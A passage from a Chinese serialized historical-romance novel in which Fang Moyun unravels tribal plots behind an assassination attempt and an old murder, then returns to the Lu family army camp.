茉云没有急于回答，而是微微一笑，话语轻飘却透着一股锐利的压迫感问道：“事已至此，咱聊聊，齐权，你也算是个人物，定然不愿屈服于正奇部落为将，峑戎是答应让你复族吗？”。
齐权的眼中闪过一丝愠怒，咬牙切齿却坦然地说道：“是！”
“条件是杀了我？”
“只要破坏西南和卢家军的盟约，峑戎便承诺为我复族。”
茉云笑了点点头说道：“嗯，那你们姐弟也不同心嘛，你姐一心想让正奇部落和你姐夫争气，让她成为这西南的大夫人，而你一心只想复族。”
齐沅吃惊的看着齐权，而齐权眼中充满了决绝和冷漠，似乎已经完全抛弃了这份牵绊，专注于自己的野心和目标。
茉云靠在椅背上，神情中毫不掩饰她的轻蔑和威慑：“其实我直接可以逮你两，知道为何要来西南部落来这一出吗？”
齐沅顿时阴鸷般地笑了，笑声猩红且瘆人，好似有毒，令人不寒而栗，让帐内的众人都不禁皱紧了眉头，心头升起一股不安的寒意。
“方茉云，你就是这般狠辣，杀人不只要命，你想让全草原看我的笑话，让这个人世上对我最重要的两个人，同时背叛我，置我于死地！”齐沅说话的语气愈加充满了恶意与挑衅，眼中满是最深的怨愤，“你这般狠辣阴险之人，会有好下场吗？我就是做了恶鬼也不会放过你的！”
就在此时，日升部落老部落主的大女儿申霄被人扶着走了出来，她的步伐缓慢，显然是大病初愈，但她眼神依旧深邃。
她看向齐沅，带着几分冷静的劝诫，说道：“齐沅，事已至此，你还不知悔改？她若不给你机会，难道就让正奇部落和你的野心一同陪葬吗？”
申霄的话语虽简单，却深深揭示着一个残酷的事实——如果正奇部落无法证明齐沅和齐权的背叛，整个部落都将因此承担后果。也就是说若不是
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正奇亲自查出此事，正奇部落必定无法逃脱覆灭的灾难。因为卢家军必然会在大战开启之时，对第一个背叛的盟友重处，以儆效尤。
气氛一时沉默，部落中人心中不禁都充满了复杂的情绪和对未来的忧虑。
“我可没有申霄姐说的这么好。”茉云嘴角勾起一丝冷意，语气中不带丝毫怜悯，“齐沅，你定然是要下地狱的，等你逃得出来，找我也不迟。”
茉云的眼神如同刀锋，毫不畏惧地正视着齐沅那阴鸷的双眼，她这一生见到的，如地狱恶鬼般的存在还少吗？
她冷笑着俯身，望向被压在地上的齐沅说道：“但是这下地狱的路，一个人走是不是太冷清？要不要拉个人跟你一起啊？”
说完，茉云转头望了过去，眼神中带着一抹冷戾的光芒，好似在告诉所有人，下一刻目标会是谁？
而站在日升部落最后的梨绒，尽然在这一刻和茉云对视了，她眼中顷刻闪过一丝惊恐，而茉云的目光却不曾动摇，带着那股让人心颤的冷厉。
老影顿时深深叹了口气，话语带着几分沉重的劝道：“茉云丫头啊，一事论一事吧。梨绒丫头这事，我也听说了。她亦是为了丈夫，行差就错。她如今也知错了，她爹重罚了她，她姐也原谅了她。何苦揪着不放？这毕竟是日升部落的私事。”
老影显然是想平息茉云心中的愤怒与恨意，试图将整个局面拉回理智。
茉云听后，嘴角微微扬起，带着一丝冷笑，收回目光看向齐沅：“好，那既然老影叔求情，我不得不给面子。齐沅，这黄泉路，你就一个人走吧，留你这知心的密友、弟妹，在人世再多逍遥几年。”
顿时，齐沅猛地抬起头，眼中闪过一丝阴鸷的光芒，双眼如毒蛇般锐利，仿佛已经失去了人性的温度，望向梨绒。
梨绒顿时感到一股寒意袭来，眼中闪过一丝惊恐，她不自觉地往后退了一步，脚步轻颤，仿佛面对的是一头凶猛的野兽……
她低下头，楚楚可怜的泪水顿时顺着她的脸颊滑落，带着几分凄凉与绝望，轻声说道：“老影叔，方茉云如果一定要置我于死地，那便随她吧，反正如今她为刀俎，我为鱼肉。我亦不想辩驳了。”
老影眉头紧锁，目光转向茉云，眼中带着几分责备与劝解：“云丫头，无论如何，日升待你有大恩，何苦如此挑拨离间？致日升动荡不安，日升之人可有谁曾对你不住？而且卢家军大战之际，西南部落若乱，于你们又有何益！”
他的话语似乎是在劝茉云放下仇恨，让她姑且看在整个部落的利益上，不要再执着于个人的恩怨，搅得西南混沌不堪，多生变数。
茉云神情却丝毫没有动摇，目光如刀般冷冽的看向老影，语气不急不缓的说道：“老影，我知道日升上一任部落主待你有大恩，你将日升部落的后人都如子嗣一般看待。可到底是我忘恩负义，挑拨离间，还是你执迷不悟，自欺欺人呢？当日齐沅和齐权他们的爹若还在，又何至于他们今日，为祸草原呢！”
老影的手微微颤了一下，紧握着赶羊棍的手青筋微微爆出，眼中透出一丝怒火说道：“云丫头啊，我曾说过，草原的事草原了，各有各的宿命，这是日升部落的家事，外人不该插手，你属实管得太多！你们卢家军的统帅难道允你带人来，是来插手部落事务，将西南搅成一滩浑水的吗？”
魏副帅心中亦觉不妥，插手他国事务实为大忌，他深吸一口气欲开口劝阻道：“方将军……”
就在此时，沧海忽然抱拳说道：“魏副帅，来之前昨夜少帅交待我等之时说了一句话，若是觉得光刺眼，那定是因为在至暗深渊，有人忽然点起了一盏灯！”
茉云顷刻间愣了半刻，望向沧海。
沧海继续一脸坦然的说道：“少帅还说，卢家军不参与西南事务，但谋害方将军之事，定要查出个来龙去脉，草原万里，日升日落，本是山无遮，海无拦之地，还有什么见不得光吗？”
老影沧桑的脸上缓缓又透出了一丝真诚地笑意，点点头望向茉云说道:“好，也总算是遇对了……”
294.恩怨
魏副帅坐在那儿，眼神恢复了平静和深邃，他已经明白了正啸之意，必是力挺茉云到底，他亦意识到了局势的微妙变化，不再多言，心领神会地保持了沉默。
“其实我倒是没想到，我也有所谓仗势欺人的一日！”茉云则淡淡一笑，冷冷地说道：“但我对西南部落的家务事没兴趣，我就想知道，奇煌哥哥是怎么死的！”
她的话如同一把尖刀，直直地插入了日升部落每个人的心脏，气氛瞬间凝固。申霄和奇能不约而同地抬起头，惊愕地看向茉云，脸上写满了震惊。
草原上众人皆知，奇煌解救申霄之时，被一伙盗匪射中而殒命，然而茉云的这番话却让所有人都愣住了。他的死，还有其他缘由吗？
茉云的话音刚落，她的目光转向梨绒，眼中充满了冷酷与质问：“是你吗？”
梨绒顿时脸色有稍许苍白，但她马上镇定的说道：“欲加之罪，何患无辞！你居然想将这般大罪，平白安在我的头上！”
而齐沅顿时抬起头，脸上扭曲出那疯狂的笑容，目光如利刃般刺向梨绒：“梨绒，是平白吗？当年韦西洳狠毒了方茉云，发了疯地想跟奇能在一起，是谁告诉韦西洳，说是奇能兄长，奇煌看不上她，一定要让奇能娶方茉云？不然为何草原上平白无故出现一伙流窜的盗贼要杀奇煌？那是被那疯子韦西洳买凶来杀人的！”
齐沅说完，疯狂的笑了起来，那笑容充满了恶意与嘲讽，似乎享受着此时的快感，而梨绒的脸色骤然变得更加苍白而愤怒。
她咬牙怒斥道：“齐沅，你是不是疯了，你不要信口雌黄！奇煌哥哥希望方茉云嫁给奇能，是全草原皆知之事！”
“那韦西洳和那群贼匪又如何知道你姐的行程，埋伏在乌山，却独独杀了你姐夫奇煌呢？”齐沅的笑声带着深深的嘲弄，眼中闪过一丝得意。
顿时，申霄和奇能的表情都变得严峻，他们咬牙望向梨绒。
梨绒顿时怒不可遏，她的声音几乎撕裂了周遭：“你们竟然如此设计构陷我！我怎么可能要杀姐夫！姐夫当年是全日升的希望，他是奇能的哥哥，待我亦如亲兄长，你们居然无凭无据，这般污蔑我！”
她哽咽的声音中，充满了对自己无辜的控诉与愤怒，真挚的情感直击每个人的心头，又唤起了众人对她的同情。
齐沅则笑着指向那个被擒的杀手，眼神全是阴狠地说道：“他便是当年韦达部落，韦西洳身边之人，你在他面前还可这般辩驳吗？”
显然顷刻间梨绒的眼神中闪过一丝惊慌失措，看向那个杀手，拼命回忆着……而那人目光如寒冰般冷冷扫向梨绒，眼神中都是憎恶和轻蔑。
茉云深深吸了一口气望向那个杀手，带着几分感叹地说道：“其实如今想来，我和韦西洳之间亦没有那么大的仇怨吧，毕竟我从未想过和奇能有超出兄弟之外的关系，韦西洳又何以如此疯狂？”
那名杀手忽然冷冷开口，声音低沉却清晰的说道：“是梨绒跟西洳主子说，方茉云其实压根不想要奇能，但方茉云说她不要的东西，丢之弃之都轮不到西洳主子。她还说，若奇煌不死，奇能必会跟方茉云远走高飞，离开西南部落，那么西洳大小姐就再也没有机会了。也是她告诉西洳大小姐，申霄那日会经过乌山脚下。”
杀手的话好似一道惊雷，炸开了帐内的寂静，他冰冷揭开了——一个草原上隐藏许久又如此阴森的真相。
顿时，申霄和奇能的目光如闪电般刺向梨绒，愤怒与震惊在他们的脸上交织，仿佛每一滴愤懑的情绪都在其中积压，顷刻就要爆发。
梨绒依然不肯认命，她咬紧牙关，声音带着一丝失控的吼道：“这都是阴谋！你们看见了，刚才方茉云是如何阴齐权的！这就是个来路不明的杀手！他们就是死前也要拖一个垫背！”
然而她的话语，显然有些苍白无力了，梨绒最终转向老影，满脸的恳求，自小老影就是最疼她的。
“老影叔，你觉得我才那般小，我就会害我姐夫吗？”她的话充满了痛苦与呼喊，好似在请求最后一丝信任。
大营内瞬间寂静，连呼吸声都显得格外沉重。所有人都被眼前的局面震撼得无言以对，疑问、愤怒、背叛和无奈交织成一片迷雾，谁也无法轻易判断这场纷争的真相，只觉得一切都已被推向了深渊。
杀手语气如冰，继续说道：“那伙盗匪并不认识奇煌。她说奇煌身上当日会系着一个护身皮囊，是申霄刚刚绣的，但她手工实在太差，所以上面的‘奇’字还是她帮她姐绣的！”
这话又如雷鸣般在大营中炸开，所有人目光齐刷刷地集中到梨绒身上，震惊与愤怒弥漫开来。申霄的泪水不禁滑落，她瞪着梨绒，眼神里充满了难以置信的震惊与悲痛，这一切都让她无法接受。
奇能的脸色瞬间变得铁青，眼中的愤怒如火山喷发般无法抑制，他的身体微微颤抖，居然是梨绒害死了自己这辈子最亲的人！自己居然还娶她为妻！
梨绒终于再也承受不住，瘫倒在地，双膝狠狠撞击在地面，发出沉闷的响声，一切都完了。而她当日不过是多嘴一说，没想到今日这句闲聊，将一切竟变成了铁证——除了她和她姐，没人知道这个奇字是她帮忙绣的……
日升老部落主此刻再也无法抑制内心的悲痛，他掩面而泣，老泪纵横，心中的痛苦无以复加。
老影站在一旁，咬着牙，眼中透出无法隐藏的痛惜，若不是奇煌走了，日升部落怎么会经历重创，过了这么多年又才重新站起来，这份遗憾深深刻在了全族的心里。
老影沧桑的脸渐渐又恢复了平静，他看向茉云，缓缓地点了点头，语气中带着一丝叹息地说道：“好，云丫头，这也算你报了奇煌的恩了。”
茉云则抬目望向老影，依旧冷静如水的说道：“那您的大恩呢？”
老影摆摆那苍老的手，语气中透着一种历经沧桑后的释然：“我老了，什么都不在乎，什么也都不需要了。”
他的话语看似轻松，却带着一种让人心疼的疲惫，好似对曾经的一切已经看透，不想在理这人世的纠缠与蹉跎。
茉云却继续说道：“那您也收手吧，日升部落不可能一统西南，成为永久的霸主，何苦要为你曾经的主子，坚守这份偏执呢？”
众人闻言，纷纷吃惊地望向茉云，仿佛从未见过她如此直言不讳地挑战这位曾在草原上叱诧风云的老将军，亦是她在西南草原上最尊敬之人。周遭顿时又弥漫了沉默与紧张，所有人似乎都在等待老影的回应，但他却没有回应，只是缓缓抬头看向茉云。
而此时，齐沅好似已完全失去理智，几乎不顾一切地挣扎着，她瞪着茉云喊道：“方茉云，我已经帮你拉梨绒下地狱了，你告诉我，你告诉我你刚说的……我们的爹，到底是如何死的，告诉我！”
她的声音中充满了撕心裂肺的
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痛苦，她娘、她和他弟这悲惨而颠沛流离的一 生，所有痛苦都来源于此。
茉云则深吸一口气看向她：“你爹应该是战死，死在归家的路上，可是……”
齐沅和齐权几乎同时瞪大眼睛，怒声吼道：“什么可是！说！”
他们的声音充满了震惊与悲愤，好似这一刻所有的一切，包括他们的性命都已经不重要了，他们只想知道这个真相！
茉云看向老影，眼神中透出一丝痛惜说到：“可是您本可以救这位有着过命交情的老友，可您没救对吗？他们的爹，就是您说的您这辈子，除了妻儿唯一对不住的人，每次喝酒您都要朝西边倒杯酒，就是倒给他们爹喝，是吗？”
她的话语又如同在帐中投下了电光火药，瞬间击中所有人，也直入向老影的内心深处。
老影并没有任何回避，带着几分最深沉的苦笑，说道：“对，你这丫头啊，真是有颗玲珑七窍的心，这你都能猜到。”
齐权顿时愤怒得几乎无法控制自己，他朝老影不顾一切地吼道：“为什么？我爹曾视你为挚友，可为你两肋插刀，只要你呼喊一声，他便带人带马不分缘由地随你而战！”
齐沅也不顾一切地哭喊着吼道：“你这个老匹夫，枉我们姐弟一直视您为亲叔。为什么！”
他们姐弟的控诉声让整个营帐都被摄住了一般，忽然透出一种可怕的寂静。
老影却没有丝毫的动摇，他深深看着他们，叹息着说道：“做兄弟你爹是个好汉，可他太好斗，我就算费劲一切救了他，这草原不知还有多少纷争。”
齐权咬牙切齿地吼道：“我爹已承诺，只要将那块地让给我们族人栖息，他再也不发起争斗了，会盟之时众人都已同意了！”
他的声音中充满了无法压抑的愤怒，他爹当年费尽一生为族人辛苦换来的和平与承诺，岂可全都被他一人之言打破。
而齐沅凌冽的冷笑着说道：“你真是蠢，问他这个老匹夫为什么，我们族亡了，是哪族获得了大部分领地啊。我们真是愚蠢至极！”
她的话中透着极深的冷意与讽刺，一句话正中背后的真相。可这真相不禁阴寒得让众人倒吸一口气。
老影则一脸从容而坦然的说道：“这就是草原，适者生存，而我一生蒙日升部落上一任部落主大恩，守护日升是我一生之责。”
他的话语中没有一丝波动，好似这份抉择早已深深根植在他心底，无法改变，他亦不悔。
“所以你还机关算尽，让我嫁给正奇，然后联合正奇部落对抗韦达部落，韦达倒了，然后你今日亦想都不想就帮方茉云演了这出戏，利用她又扳倒了正奇部落，从此草原就是日升部落的了，是吗？”齐沅眼中充满了绝望和悲痛的控诉道，顿时她又转向茉云吼道，“方茉云，他不恶吗！你说你生来就是收拾恶的啊！”
茉云眼神沉静地看向老影，深深叹息了一口气，似乎所有的愤怒与情绪都已消散，剩下的只有一种深深的疲惫。她没有立刻回应齐沅的话，空气在这一刻陷入了一片沉默。
此时，沧海微微低头，靠近茉云的耳边，低声说道：“少帅昨晚还交待我说，你若需要支持，不需顾及任何，鼎力支持；你若想走，不管谁拦着，带你回去。”
茉云愣了半刻，已经冷如铁石的心瞬间被某种情感所触动，而那堵在胸口那番寒彻骨地冷意，忽然被这股温暖的力量冲破……
295.恩怨（二）
这时，整个营帐像是被一层无形的压力所笼罩，空气凝固，没人敢轻易打破这份沉默。只有草原的风吹过，帐篷在微微晃动，好似每一阵风都在提醒着所有人，局势的悬而未决，所有人都不知最后的答案……
茉云眼神瞬间又透出了不可动摇的坚毅和决心，她站了起来气场如此强大，似乎已经准备好了一切，去面对接下来的这一场风暴。
“老影，记得我走之前，我来找您吗？”
老影眼中闪过一丝回忆说道：“记得，你忽然骑马飞奔而来，飞身下马一把抓住我的手臂，可你良久没有说话。”
“对，您还问我，怎得，云丫头，中邪了？”
“然后你说，你要离开部落，回老家了，让我好好放羊，保重自己！”老影想着一脸坦然的笑着说道，“怎么忽然提及此事！是想说当日就发现了我的背信弃义，卑鄙无耻，才离开草原的？”
茉云深吸一口气，还是停顿了良久说道:“是我听见了申霄姐的娘像部落主控诉道，怎么？你是要跟你爹当年一样，害死我妹和她儿，留住一个无儿无女的老影，为你日升部落鞠躬尽瘁。所以你要杀了方茉云留住奇能，还是想将他们两都杀了！”
老影的笑容瞬间僵硬，眼中闪过一丝错愕和复杂的情绪，但很快又被他隐藏了起来，空气似乎一下子凝固了，沉默而沉重。
草原上，众人皆知老影妻子和日升部落大夫人是亲姐妹。她们昔日便是日升部落一对明艳照人的姐妹花。姐姐嫁给了部落主的儿子，而妹妹则嫁给了日升部落的主帅——老影。
老影和其妻情感深厚，彼此扶持，后来还生下一个英气的儿子。然而，孩子还未成年之时，老影的妻儿都死于敌人的谋杀。从那以后，老影再未娶，独自一人默默守护着草原，过上了牧羊的生活，这是深深烙印在老影的心中，永远无法释怀的痛。
老影顿时深吸一口气，努力镇定住情绪，目光冷静地看向茉云，好似在说，你这番诡诈的言辞，骗骗他们还行，但想要骗自己，还是太嫩了。
他的目光犀利，带着几分不可忽视的冷峻。然而，茉云却没有再说话，静静地站在那里，眼眶却突然微红。老影愣了半刻，心头突然涌上一股莫名的情绪和恐慌，这丫头一贯坚强、果断，掉头都不会掉泪……
正当气氛愈发沉重时，申霄终于从方才悲痛中清醒了几分，声音低沉却依旧充满了痛苦：“姨父，我娘临走之前，也告诉我了。她说你小姨和姨夫这辈子太苦了，如果可以，让你姨父走吧。”
她的话语虽然平静，但其中的含义让所有人都为之一震。老影的手顿时开始微微颤抖，他转身望向老部落主，眼中闪过错愕的情绪。
老部落主顿时眼泪忍不住流下，他语气沙哑：“我当日觉察到北边有动静，申霄她娘让我带队去查看，可是被我爹喝住了，说你带队在外，我夜里去不合适，他说哪有什么动静，还让她娘别疑神疑鬼。然而第二日清晨，我和他们娘赶到之时……”
他的话停顿了，语气中充满了无尽的愧疚，好似这么多年都未逃过自己良心的谴责，自己的妻子到死之时，也一直念念不忘！
“但我爹也未必是……”老部落主深吸一口气说道。
“不，他是故意为之！！”茉云的眼中闪过一丝狠戾，声音低沉却充满了坚定：“上一任日升老部落主，我虽未曾亲眼见过，但我听过他的事迹，看过他的文字。他心中对西南部落有着深深的野心。可惜天命不随，他又知道自己的儿子没有他的雄心壮志与能耐，甚至无法在其他部落冉冉升起时，护住日升部落。”
日升老部落主却微微低下了头，他其实了解他爹，他知道茉云说的是对的……
“可老影，你有这个能耐。可你孩子慢慢长大之时，你不想再过那种刀光剑影的生活。但上一任部落主定是觉得，日升部落不能没了你，但又怕你太过强大，为了儿子去篡夺他儿子部落主之位。所以，一个没有子嗣又鞠躬尽瘁的你，才是日升部落需要的！于是……”
茉云不禁停顿了一下，而帐内却静得让人觉之寒，谁都知道昔日老影是日升部落的孤儿，被上一任部落主青睐和赏识，才有了日后闻名西南的影将军，老影对他可谓是肝脑涂地。
茉云继续说道：“于是有了他对你这一生最深的算计，让您在这人世最大的恩和最大的仇都系在一人之身！”
老影此时的眼神中已经失去了光彩，这些年不论他面容风吹日晒如何沧桑，但是那双大眼却一直熠熠生辉，可此刻……
“那你当日……为何不说！”
“因为我也听见了部落主跟申霄的娘说，让她小声点，如今这等境地，老影再走了，全日升都完了，说他爹当年也都是为了日升部落！申霄的娘却说，你别以为这些年，我没告诉妹夫，我妹是怎么死的，是受你这些所胁迫，是因为我妹跟我说过，她这辈子最大的希望就是老影能过他想过的日子，快快活活，坦坦荡荡，一生无悔就好！”
顿时，泪水从老影那沧桑的脸上滑落，好似将多年积压的痛苦与挣扎一并发泄而出。他妻子的温婉笑容——那总是充满理解与宽容的笑容，仿佛在此刻又出现在了他的眼前，带着一丝未曾消逝的温暖与伤感……
“这是我方茉云此生第一次在恶面前徘徊，不知该如何是好，好像一下不知道如何判断善恶是非，而且最后不得不选择了……沉默！所以我毅然决定离开！”
奇能和正奇不约而同地抬起头，看向茉云。此刻他们终于明白了当年茉云为何一夜之间准备离去，无法阻拦亦不曾犹豫。
“这一刻，我又决定说了，是因我此刻才知道，你那套让草原自生自灭之言，纯属虚伪的说辞，你一直在听从着上一任日升部落主的遗命，在这草原和戈壁的背地里为恶，虽然你心中在拉扯，但是你依旧要掀起腥风血雨，而且你居然想利用我和卢家军铲除韦达和正奇两个部落！”茉云的每句话都像是刀锋，直指老影的心底，“我记得我幼时便跟你说过，用我方茉云，您别折了您自己！”
听到这里，老影猛地一口鲜血喷出，神情痛苦而混乱。他的手紧紧握住剑柄，目光灼灼，瞪向日升部落的部落主。
齐沅顿时瘫倒在地，发出了一声令人毛骨悚然的笑声，带着无尽的嘲讽与痛苦喊道：“好，这是报应，活该，这一切都是报应！”
老影目光缓缓转向了日升部落主，申霄却坦然的站到他父亲前面，深吸一口气说道：“姨父，若你想报仇，就冲我来吧，这场恩怨，我们家是该还给您！”
但老影看着申霄，她那双透彻的双眸与她母亲和她小姨都惊人的相似，他想起当年申霄出生时，妻子满心欢喜地抱着她，跟自己说也想生个这么漂亮的姑娘。
而申霄如她母亲和小姨一般，是这草原
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上难得的坦诚而心怀善意的好女子，而老影一直将她视作自己的亲生女儿一般。此刻，他看着申霄那双像极了自己妻子的眼眸，再也无法压制自己的情绪……
老影顿时仰天长啸一声，所有的痛苦与纠结都在此刻化作了无法抑制的咆哮，随后他陷入疯狂似的冲出了营帐……
帐中重新恢复了死寂，周遭好似凝固，茉云冷冷地转身，准备离开。就在这时，雨燃小声打破了沉默：“茉云姐，谢谢你！”
茉云望了雨燃一眼，边走边冷冷的说道：“既见鬼魅，避之不及。不要再去重蹈覆辙，跟他走吧，记得都活得像个人点！”
雨燃和她身旁的西今都看着茉云，都微微点头，茉云不再多言，冷冷地走出了营帐，魏副帅随即起身，声音沉稳下令道：“众将士，随我和方将军回营。”
“是！”
卢家军一行人马骑马离开，草原上的尘土被马蹄扬起，而齐沅和齐权姐妹则被正奇部落的人押解着离开，毫无反抗心如死灰，而其余人也静静而默默的各自回家，身影都渐渐消失在茫茫草原中。
此刻，茉云再未回头看一眼，只是路上突然侧目看向崖上。就在这一瞬间，阿灰的儿子带着狼群出现了。茉云和他遥远的四目相触，目光在无言间碰撞，她向他点了一下头。狼群忽然齐齐发出嚎叫，声音穿透了整个草原……
茉云深深吸了口气，仿佛在这一刻，她与这片大地是该真的告别了。
她一路始终都很沉默，行至一半路程时，魏副帅忽然开口说道：“你这丫头啊，也着实狠辣，将其摧毁得一干二净。”
茉云看了魏副帅一眼，依旧没有说话。
魏副帅则深吸一口气，坦诚的评价道：“不过，凡事不破不立，你做得也没错。所幸你这丫头啊，走了条正道，你这要是走上了邪魔歪道该如何是好啊？”
茉云愣了半刻，忽然想起了在中州遇见正啸时，他曾不止一次跟自己说，方茉云，你别成魔便好。从那时起，她似乎好像也没有考虑过，自己究竟该走哪条道，就一直走到现在。
魏副帅见她还是不语，不禁带着几分戏谑的说道：“也就我那卢大哥傻，他做梦都想你去她家做他儿媳妇，哎，谁会想跟自己儿子找个这么厉害的儿媳妇！”
魏副帅话音未落，前方忽然出现一个熟悉的身影，是正啸骑马飞驰而来，高大的身形在烈风中愈加显得伟岸而威武。他挥动缰绳，马蹄声如雷，带着强烈的气势，犹如一股风暴席卷而来。
见到他们一行人马之时，他才猛拉缰绳在队列前停下，望向众人眉宇间透着一股果断与坚毅，直至目光扫到了茉云，瞬间才温和了几许。
众人纷纷停下马匹，恭敬地行礼并喊道：“少帅！”
魏副帅眉头微皱，奇怪地问道：“啸儿，你为何在此？”
正啸愣了半刻，随即说道：“魏叔，我出营视察周边敌情。”
魏副帅朝四周看了看，脸上露出一丝欣慰的笑容：“好，我卢家军，少帅都如此勤勉，日日视察到这么远之地。”
他的语气中满是自豪与肯定，正啸眼中却闪过一丝无语，就连沧海都忍不住微微被逗乐，他分明就是担心茉云而来的。
当正啸的目光再次转向茉云，端详了半刻，发现她安然无恙之时，微微松了口气，然而此刻，他亦能看出，茉云的眼中依旧好似深潭一般……
296.动摇
茉云回到了军营，疲惫不堪的她一进帐篷便沉沉地睡了过去，一切的诡诈和喧嚣，在这一瞬消散在片刻的安宁中。
正啸走进茉云的营帐，看见茉云就这般倒在床榻之上，沉沉睡去，他轻轻拿起了被子给她盖上，看着她良久后，才默默走出了营帐。
魏副帅和沧海等人晚膳时，一同来到元帅的营帐用膳，汇报白天之事。
元帅坐下便抬起头看向魏副帅，语气凝重的问道：“今日状况到底如何？正奇部落又为何要害茉云？”
魏副帅长叹一口气，摇着头感叹道：“别提了，西南部落今日可谓是人仰马翻，但也份属活该。韦达部落少部落主差点死了，正奇部落的少部落主的夫人和小舅子都被押解了，估计也是个死。而日升部落的部落主哭得那叫一个惨啊！”
元帅顿时愣住了，目光直直看着魏副帅说道：“什么？”
这时，还是东山让人传来了小马，简短而清晰地将事情的来龙去脉说了出来。
原来，韦达部落是被陷害，而杀手是正奇部落少部落主的夫人和小舅子，他们和峑戎联手刺杀茉云，嫁祸给韦达部落，除了嫉恨茉云之外，更是为了他们自己的野心。而日升部落则想借此事，螳螂捕蝉黄雀在后，让正奇部落废了韦达部落之后，再利用卢家军铲除正奇部落，顺势扩大自己的势力，成为西南霸主，这背后还牵扯着几十年的恩怨纠缠。
营帐内顿时陷入了一片沉默，众人不禁都心中感叹这人心的叵测。而正啸深深吸了口气，眼中闪过一丝复杂的情感，难怪她事发之后，眼中埋藏了那么深的愤怒和痛楚。
良久后，元帅则长叹一口气，语气中带着些许惋惜也带着一丝赏识地说道：“人心叵测，扑朔迷离，也只有茉云这丫头，能断得清楚了。”
魏副帅则顿时看向元帅，直言不讳道：“她岂止断的清楚，她那雷霆手段，根本都不需要我等，靠一张嘴都能放倒一片，元帅啊，谁会希望自己儿子找个这么厉害的老婆啊？”
“对，这事您可得考虑清楚了。”周总教头也忍不住开口附和道。
“你们懂个屁！”元帅顿时没好气的冲着他们怼道，随即，他又望向正啸，神情严肃的吩咐道：“别听他两胡说，我跟你讲这事，你再考虑一下，除了这事爹也不指望你别的。”
正啸顿时眼中闪过一丝无语，若辰和执礼等人都不自觉地忍住笑，气氛在这一刻终于轻松了些许。
就在这时，茉云突然径直走入了营帐，她的出现让众人都停下了议论，目光不自觉看向她。茉云也奇怪地看向众人，因为他们几乎是同时戛然而止。
元帅看见了茉云，马上大手挥手，露出一脸慈笑的说道：“茉云来，坐。”
茉云走进来望向一旁抱着果子吃的老乐，伸手也拿了一个果子咬着吃，边笑着问道：“元帅，你们在议论什么？怎么我一进来，突然就安静了？是否我来得不是时候？”
元帅笑着喝着茶，嘴角带着一丝无奈的笑容，谁知道老乐误以为茉云在问自己，于是坦诚地回答道：“魏副帅跟元帅说，你想好了让你儿子找个这么厉害的老婆，周总教头也说，让元帅考虑清楚，元帅说他们懂个屁。”
茉云乐了瞬间接过话，点点头，笑着说：“那也不能这么说，魏副帅喜欢你妹妹那种天真可爱善良的小白兔似的姑娘，不欣赏我这一款的很正常，能理解！”
顿时，众人哄堂大笑，魏副帅却愣了半刻，望向茉云，眼中满是惊讶。
茉云则眨着眼睛望向魏副帅，满脸笑意地说道：“您是想问我怎么知道是吗？当年义父为了我能跟您搞好点关系，告诉我的。让我瞬间对您的敬仰提升到了脑门，我从未想过魏副帅您如此英伟却还如此痴情，从此以后，在我心中，卢家军中您就只比元帅差那么一点点，您是第二帅的。”
魏副帅顿时一拍桌子，对天吼道：“老崔你个倒霉玩意，你跟她们这些小孩……你说些干嘛！”
营中的人顿时笑得更欢了，元帅更是笑得前俯后仰，仿佛一切的沉重都在这一刻得到释放。
而就在此时，老乐却痴痴地看向茉云，眼中露出一丝困惑：“我还有个妹妹！”
茉云转头望向老乐，微笑着说道：“对，你还有个妹妹。据说她极其崇拜你这个哥哥，仰慕你的好友魏副帅，可就在魏副帅攒够了聘礼，要去提亲迎娶她之时，她忽然走了。”
老乐吃惊地问道：“为什么？”
茉云轻轻地，带着一丝感伤说道：“我也想知道……她为何这么命苦。”
顿时，营帐中的众人都沉默了，魏副帅的眼中透出深深的痛楚。纵使这么多年过去了，自己依旧无法释怀，如果自己不曾陷入那些自卑的情绪，早些迎娶她，也许她就不会在峑戎杀手的毒手下丧命了，这亦是他一生都不能原谅自己的事。
茉云却一边咬着果子，一边望向老乐，好似随口一提地说道：“白神医怎么还不回来？他若能医治好了你的脑疾，我也有问题想问你。据说当年，有一个叫丁万明，还有一个叫骆行川的大人，都好像是您提拔的。后来，那位姓丁的还做了大官，甚至官至兵部尚书。还记得吗？”
此言一出，帐内顿时一片寂静。正啸猛然抬头，目光瞬间凝聚在茉云身上，双眉微蹙。而执礼和若辰的脸色也微微一变，目光中透出几分错愕，彼此对视了一眼。
营中其余众人一时不明所以，但从气氛的骤然变化都能察觉到异样，唯独老乐仍然一脸迷糊，专心地啃着自己的果子。
正啸眼神一沉，随即站起身，二话不说地一把拉住茉云的手腕，将她带出了营帐，动作间透着一丝不容拒绝的决然。茉云微微皱眉，但并未挣脱，任由正啸拉着她走出帐外。
元帅看着他们的背影，眉头微微皱起，目光疑惑地转向执礼和若辰：“这是怎么了？”
执礼深吸一口气，神色复杂地说道：“丁大人之子——丁勇，您可还记得？当年，就是他害死了茉云的父亲，方县丞。”
元帅的眼神顿时一凛，沉思片刻，缓缓点头：“这事我记得……”
他说到一半，顿住了，目光隐隐透出一丝了然。执礼轻轻点头，营帐内的气氛一时间变得沉重，众人陷入了短暂的沉默。
元帅叹了口气，看向老乐宽慰道：“老丁那人啊，教子不严，才让丁勇犯下如此大错，但他已伏法……这事，老程，你也不必放在心上，这都是你失散几年后发生之事，本与你无关！”
老乐却依旧一脸不知所以，嘴里咬着果子，丝毫没听大家的。见众人沉默，他还疑惑地看了一圈，压根不知众人在谈论何事。
正啸拉着茉云回了营帐，情绪似乎有些压抑，一进营帐，正啸的双眉紧蹙，目光深邃地凝视着茉云，开门见山地问道：“你想问什么？”
茉云无语地轻轻叹了口气，淡然的说道：“我就是随口。”
正啸看着她，眼中满是复杂：“你若只是问问，你不会去查当日丁大人和骆大人是谁提拔，并记在心中。”
茉云微微蹙眉看向正啸，她眼底透出一丝异样，可她没有反驳，只是静静地看向正啸。
正啸深吸一口气，语气不容置疑地说道：“你爹
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出事时，程叔已然失忆与卢家军失散好几年。哪怕程叔识人不明，但也不是大罪。”
茉云沉默了半刻，缓缓地说道：“我不会因此牵连你岳父。当年在草原，我哥都快要饿死了，是老乐最先发现了我们，老影将我们捡了回去，奇煌哥哥收留了我们，他对我们亦有大恩，我不会无事拿他垫背的。”
正啸听后，依旧沉默了片刻，还是凝视着茉云。茉云则挑眉平静地问道：“怎么，不信？”
“你是不是心里还有事？”正啸低沉的声音中带着一种对茉云深深地了解，他能察觉到茉云内心波动的。
茉云愣了半刻，望向他，眼神中透出一丝怅然，四目相触时，周遭似乎突然静止，双方都在彼此的眼中，都看得懂彼此，却又什么也未曾说出口，陷入了沉默。
